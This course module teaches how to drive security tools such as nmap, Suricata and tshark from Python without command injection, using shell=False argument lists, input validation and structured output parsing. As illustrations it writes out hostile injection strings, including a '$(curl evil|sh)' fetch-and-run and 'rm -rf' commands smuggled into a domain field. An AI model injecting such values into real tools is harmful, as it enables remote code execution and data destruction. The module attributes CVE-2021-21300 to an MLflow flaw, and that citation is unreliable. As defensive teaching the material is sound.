Module 05 — Driving Tools Safely¶
Type 9 · Tool-Build — wrap external tools (nmap, VirusTotal, MISP) from sift without opening a command-injection hole, and parse their output robustly. (Secondary: Type 14 · Adversarial Review — catch the copilot's shell=True.) Go to the hands-on lab → · Cheat sheet →
Last reviewed: 2026-08
Python for Security — the copilot's favourite way to run a tool — shell=True — is also the fastest way to hand an attacker your shell.
In 60 seconds
Security tools drive other tools: sift needs to shell out to nmap, a VirusTotal CLI, pymisp.
The copilot's reflex is subprocess.run(f"nmap {target}", shell=True) — and the moment target is
attacker-influenced (and in a triage tool, it is — it came from an alert), ; rm -rf / or
$(curl evil|sh) runs on your box. This module builds the safe pattern into sift: shell=False
with an argument list, never string interpolation; validate/allowlist what you pass; and parse
structured tool output instead of scraping text. You'll also do an adversarial-review beat — catch a
planted shell=True injection in copilot-generated code.
Why this matters¶
OS command injection is one of the oldest, most reliable, most damaging bug classes there is, and Python
makes it a one-character mistake: shell=True. That flag tells subprocess to hand your string to
/bin/sh, which happily interprets ;, |, $(), and backticks. In a triage tool the danger is acute
because the input isn't yours — the hostname, URL, or hash you're about to scan came from an alert an
attacker may have shaped. A single subprocess.run(f"whois {domain}", shell=True) where domain is
evil.com; rm -rf ~ is remote code execution in your SOC tooling.
flowchart LR
IN["indicator from an alert<br/>evil.com; rm -rf ~"] --> Q{"how sift runs the tool"}
Q -->|"shell=True — f-string → /bin/sh ❌"| SH["/bin/sh interprets<br/>; | $() backticks"] --> RCE["injected command runs<br/>RCE in your SOC"]
Q -->|"shell=False — argument list ✓"| EX["execve gets one literal arg"] --> INERT["treated as data:<br/>a malformed hostname, rejected"]
This is CWE-78, OS command injection — one of the oldest, most reliable, most damaging bug classes
there is, and it's everywhere in the wild: Python libraries and apps have shipped real, CVE-tracked
holes from exactly this pattern (see CVE-2021-21300 below). And it's especially an AI-review problem:
the copilot's default for "run a tool" is shell=True, because it's the shortest way to make a
command work in a demo — so it regenerates this exact hole constantly. Catching it on sight is a core
competency of "you review → you own it."
The core idea¶
shell=False with a list is the whole defense. subprocess.run(["nmap", "-sV", target]) passes
target as a single argument directly to execve — no shell, no metacharacter interpretation, so
target = "x; rm -rf /" is just a (malformed) hostname nmap rejects, not a command. shell=False is
the default; the fix is often deleting shell=True and turning the f-string into a list. When you
genuinely must build a command string, shlex.quote() escapes it — but the list form is better because
it removes the shell entirely.
shell=True (the copilot default) |
shell=False + argument list |
|
|---|---|---|
| How args reach the tool | one string → /bin/sh re-parses it |
list → execve, no shell in between |
; \| $() backticks |
interpreted as shell syntax | inert literal characters |
| Attacker-shaped input | command injection / RCE | a malformed argument the tool rejects |
| "But I need a pipe / glob" | reach for the shell | wire stdout→stdin in Python; Path.glob |
| Review verdict | guilty until proven otherwise | the bar |
Validate before you shell out. Defense in depth: even with shell=False, pass tools validated
input. Reuse Module 02's discipline — an indicator that's supposed to be a domain should be validated as
one (allowlist the character set, reject the weird) before it's handed to any external process. A tool
that only ever receives well-formed arguments has a smaller attack surface than one that trusts the alert.
Parse structured output, don't scrape text. The other half of driving a tool well: nmap -oX,
vt's JSON, pymisp's objects give you structured output — parse that, not the human-readable text
that changes format between versions and breaks your regex. Robust parsing is what makes the wrapper
reliable enough for the CLI and API surfaces you add in Module 06.
flowchart LR
T["driven tool<br/>suricata -r pcap → eve.json"] --> P{"typed parse<br/>pydantic union keyed on event_type"}
P -->|known shape| M["typed event<br/>alert · flow · dns · http · tls"]
P -->|unexpected line| Q["quarantine<br/>never fatal, never trusted"]
This is exactly why sift drives Suricata: point it at a pcap and it emits EVE JSON (eve.json)
— newline-delimited, one event per line, keyed by event_type. That's a real dissector's structured
output: the alert's signature/severity, the flow's five-tuple, the dns/http/tls fields, all
typed, all machine-readable — the payoff of the parse-don't-scrape rule you built in Module 02. You run
Suricata (suricata -r infection.pcap) the same way you run nmap: a shell=False argument list over an
input path you control, then feed the resulting eve.json through the pydantic union sift already
speaks. tshark -T ek / -T json is the same move for a second dissector — drive it safely, parse its
JSON, reconcile the two views. Indicators to enrich (src_ip, dest_ip, dns.rrname, tls.sni) come
from those real EVE fields, not a hand-invented schema.
When you think you need shell=True — pipes, globs, redirection
Those are the usual excuses, and they're avoidable. A pipeline is two subprocess calls wired via
stdout/stdin in Python (you keep control and error handling). Globbing is pathlib.Path.glob.
Redirection is the stdout=/stderr= arguments. Reaching for shell=True to get shell features is
almost always a sign the work belongs in Python, where it's both safer and more testable.
Go deeper (~2 hrs · optional)¶
The core idea above teaches the whole defense — shell=False + list, validate the input, parse
structured output — and you can do the lab from it. These links go deeper on the subprocess security
model and the anchor CVE; pull them when a step doesn't click, not as required reading.
The safe subprocess pattern
- Python
subprocessdocs — "Security Considerations" + "Frequently Used Arguments" (~25 min) — read the security section specifically; it spells out whyshell=Truewith untrusted input is dangerous and what the list form fixes. shlexdocs —shlex.quote(~10 min) — the escape hatch for the rare case you must build a shell string.
Why it matters (the anchor)
- OWASP — Command Injection (~15 min) — the attack class, its impact, and the defenses; ground the module in the canonical reference.
- CWE-78 — Improper Neutralization of Special Elements used in an OS Command (~10 min) — the formal weakness ID this whole module defends against; skim the "Demonstrative Examples" and the mitigation that maps to the argument-list form.
- CVE-2021-21300 — command injection in MLflow via
subprocess(..., shell=True)(NVD) (~10 min) — a real advisory where an unsanitized git URI passed toshell=Truewas the hole; the fix replaced it with the list-formsubprocesscall — exactly this module's lesson.
Driving real tools
python-nmapor directnmap -oXparsing (~15 min) — parse structured XML output, not scraped text.- Suricata docs — EVE JSON output
(~15 min) — how
suricata -r <pcap>produceseve.json, and theevent_typekeying you'll parse; read thealert/flow/fileinfoshapes, skim the rest — this is the structured output you drive for. - Wireshark
tsharkman page —-T ek/-T json(~10 min) — the second dissector: drivetsharkover a pcap for machine-readable JSON you can reconcile against Suricata's view. Scan the-Toutput-format options and the-r/-eflags.
Key concepts¶
shell=True+ untrusted input = command injection — the copilot's default, and a real CVE class.shell=Falsewith an argument list passes args straight toexecve— no shell to inject into.shlex.quotefor the rare must-build-a-string case; the list form is still better.- Validate/allowlist args before shelling out — reuse Module 02's boundary discipline.
- Parse structured output (
-oX, JSON, Suricata EVE JSON) — don't regex human-readable text. - Driving a dissector —
suricata -r <pcap>→eve.json,tshark -T ek→ JSON: same safe argument-list pattern, feedingsift's pydantic union. Indicators derive from real EVE fields. - Many sensors, one truth (stretch) — the same incident, three schemas: Suricata EVE JSON
(opinionated alerts), Zeek native TSV (
#fieldsheader, descriptive facts), and Sysmon EVTX (binary → XMLEventData, the host side — which process opened a connection). A source-agnostic domain model normalizes all three — the real payoff of "parse, don't trust," and the join from a network IOC to the process behind it.
AI acceleration¶
This module has an explicit adversarial-review beat: you're handed copilot-generated tool wrappers with a
planted shell=True injection, and your job is to find it, say how you knew (the f-string into
shell=True), and fix it to the list form. Then, going forward, treat every subprocess call the copilot
writes as guilty until proven shell=False — it's the single highest-value review reflex in this track.
Check yourself
- Exactly why is
subprocess.run(["whois", domain])safe wheresubprocess.run(f"whois {domain}", shell=True)is not, whendomainis attacker-controlled? - You "need a pipe" between two tools — how do you do it without
shell=True? - What's the tell that lets you spot command injection in a code review in under five seconds?
Comments
Sign in with GitHub to comment. Choose the type: Feedback (errors or suggestions on this page) · Hints (help for fellow learners — no spoilers) · General (anything else).